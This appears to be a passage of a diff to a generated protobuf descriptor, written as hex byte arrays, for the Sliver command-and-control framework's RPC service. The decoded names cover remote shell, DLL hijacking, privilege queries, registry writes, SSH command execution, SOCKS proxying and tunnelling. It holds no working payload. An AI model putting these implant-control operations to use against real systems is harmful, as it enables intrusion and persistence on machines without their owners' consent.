0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, - 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x4e, - 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, - 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, - 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, - 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, - 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, - 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, - 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, - 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, - 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, - 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, - 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, - 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, - 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, - 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, - 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, - 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, - 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, - 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, - 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, - 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, - 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, - 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, - 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, - 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, - 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, - 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, - 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, - 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, - 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, - 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, - 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, - 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, - 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, - 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, - 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, - 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, - 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, - 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, - 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, - 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, + 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, + 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, + 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, + 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, + 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, + 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, + 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, + 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, + 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, + 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, + 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, + 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, + 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, + 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, + 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, + 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, + 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, + 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x57, 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, 0x74, + 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, + 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x55, 0x0a, 0x14, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70, 0x6f, + 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, + 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, + 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0b, + 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, + 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, + 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, + 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, + 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, 0x15, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, + 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, + 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, + 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, + 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, + 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x50, 0x0a, 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, + 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, + 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, + 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, + 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, + 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, + 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, + 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, + 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, + 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, + 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, + 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, + 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, + 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, + 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, + 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, + 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, + 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, + 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, + 